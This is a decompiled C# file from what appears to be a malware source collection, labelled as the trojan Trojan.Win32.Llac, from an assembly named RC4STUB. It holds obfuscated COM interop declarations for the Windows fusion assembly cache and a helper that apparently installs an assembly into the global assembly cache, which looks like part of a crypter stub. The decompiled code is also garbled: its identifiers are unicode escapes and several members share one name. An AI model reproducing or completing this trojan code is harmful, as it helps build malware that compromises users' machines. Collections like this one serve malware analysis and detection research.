MalwareSourceCode/MSIL/Trojan/Win32/L/Trojan.Win32.Llac.ajli-ac41d99cde54e36a4e446e9c8d3aecae2cd439033b269019f516b141753fb0e6/_0003/_0003.cs

// Decompiled with JetBrains decompiler
// Type: .
// Assembly: RC4STUB, Version=1.0.0.0, Culture=neutral, PublicKeyToken=4bd99f8fe4adcd07
// MVID: DA5B8577-1DEE-425A-83B8-F58DDD172F9B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Llac.ajli-ac41d99cde54e36a4e446e9c8d3aecae2cd439033b269019f516b141753fb0e6.exe

using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;

namespace \u0003
{
  internal class \u0003
  {
    [DllImport("fusion", EntryPoint = "CreateAssemblyCache", CharSet = CharSet.Auto)]
    internal static extern int \u0003(out \u0003.\u0003.\u0007 ppAsmCache, uint dwReserved);

    public static bool \u0003([In] string obj0)
    {
      \u0003.\u0003.\u0007 ppAsmCache = (\u0003.\u0003.\u0007) null;
      return \u0003.\u0003.\u0003(out ppAsmCache, 0U) == 0 && ppAsmCache.\u0002(0U, obj0, IntPtr.Zero) == 0;
    }

    public struct \u0001
    {
      public int \u0001;
      public int \u0002;
    }

    public struct \u0002
    {
      public \u0003.\u0003.\u0001 \u0001;
      public long \u0001;
      public Guid \u0001;
      public \u0003.\u0003.\u0001 \u0002;
      public int \u0001;
      public int \u0002;
      public int \u0003;
      public \u0003.\u0003.\u0001 \u0003;
      public string \u0001;
      public int \u0004;
      public int \u0005;
    }

    [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
    [Guid("0000000c-0000-0000-C000-000000000046")]
    [ComImport]
    public interface \u0003
    {
      void \u0001(IntPtr pv, uint cb, out uint pcbRead);

      void \u0002(IntPtr pv, uint cb, out uint pcbWritten);

      void \u0001(long dlibMove, uint dwOrigin, out ulong plibNewPosition);

      void \u0001(ulong libNewSize);

      void \u0001(\u0003.\u0003.\u0003 pstm, ulong cb, out ulong pcbRead, out ulong pcbWritten);

      void \u0001(uint grfCommitFlags);

      void \u0001();

      void \u0001(ulong libOffset, ulong cb, uint dwLockType);

      void \u0002(ulong libOffset, ulong cb, uint dwLockType);

      void \u0001(out \u0003.\u0003.\u0002 pstatstg, uint grfStatFlag);

      void \u0001(out \u0003.\u0003.\u0003 ppstm);
    }

    [Guid("7c23ff90-33af-11d3-95da-00a024a85b51")]
    [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
    [ComImport]
    internal interface \u0004
    {
      void \u0001(\u0003.\u0003.\u0005 pName);

      void \u0001(out \u0003.\u0003.\u0005 ppName);

      void \u0001([MarshalAs(UnmanagedType.LPWStr)] string szName, int pvValue, uint cbValue, uint dwFlags);

      void \u0001([MarshalAs(UnmanagedType.LPWStr)] string szName, out int pvValue, ref uint pcbValue, uint dwFlags);

      void \u0001(out int wzDynamicDir, ref uint pdwSize);
    }

    [Guid("CD193BC0-B4BC-11d2-9833-00C04FC31D2E")]
    [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
    [ComImport]
    internal interface \u0005
    {
      [MethodImpl(MethodImplOptions.PreserveSig)]
      int \u0001(uint PropertyId, IntPtr pvProperty, uint cbProperty);

      [MethodImpl(MethodImplOptions.PreserveSig)]
      int \u0001(uint PropertyId, IntPtr pvProperty, ref uint pcbProperty);

      [MethodImpl(MethodImplOptions.PreserveSig)]
      int \u0001();

      [MethodImpl(MethodImplOptions.PreserveSig)]
      int \u0001(IntPtr szDisplayName, ref uint pccDisplayName, uint dwDisplayFlags);

      [MethodImpl(MethodImplOptions.PreserveSig)]
      int \u0001(
        object refIID,
        object pAsmBindSink,
        \u0003.\u0003.\u0004 pApplicationContext,
        [MarshalAs(UnmanagedType.LPWStr)] string szCodeBase,
        long llFlags,
        int pvReserved,
        uint cbReserved,
        out int ppv);

      [MethodImpl(MethodImplOptions.PreserveSig)]
      int \u0001(out uint lpcwBuffer, out int pwzName);

      [MethodImpl(MethodImplOptions.PreserveSig)]
      int \u0001(out uint pdwVersionHi, out uint pdwVersionLow);

      [MethodImpl(MethodImplOptions.PreserveSig)]
      int \u0001(\u0003.\u0003.\u0005 pName, uint dwCmpFlags);

      [MethodImpl(MethodImplOptions.PreserveSig)]
      int \u0001(out \u0003.\u0003.\u0005 pName);
    }

    [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
    [Guid("9e3aaeb4-d1cd-11d2-bab9-00c04f8eceae")]
    [ComImport]
    internal interface \u0006
    {
      void \u0001(
        [MarshalAs(UnmanagedType.LPWStr)] string pszName,
        uint dwFormat,
        uint dwFlags,
        uint dwMaxSize,
        out \u0003.\u0003.\u0003 ppStream);

      void \u0002(\u0003.\u0003.\u0005 pName);

      void \u0001(uint dwFlags);

      void \u0002(uint dwFlags);
    }

    [Guid("e707dcde-d1cd-11d2-bab9-00c04f8eceae")]
    [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
    [ComImport]
    internal interface \u0007
    {
      [MethodImpl(MethodImplOptions.PreserveSig)]
      int \u0001(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName, IntPtr pvReserved, out uint pulDisposition);

      [MethodImpl(MethodImplOptions.PreserveSig)]
      int \u0001(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName, IntPtr pAsmInfo);

      [MethodImpl(MethodImplOptions.PreserveSig)]
      int \u0001(
        uint dwFlags,
        IntPtr pvReserved,
        out \u0003.\u0003.\u0006 ppAsmItem,
        [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName);

      [MethodImpl(MethodImplOptions.PreserveSig)]
      int \u0001(out object ppAsmScavenger);

      [MethodImpl(MethodImplOptions.PreserveSig)]
      int \u0002(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszManifestFilePath, IntPtr pvReserved);
    }
  }
}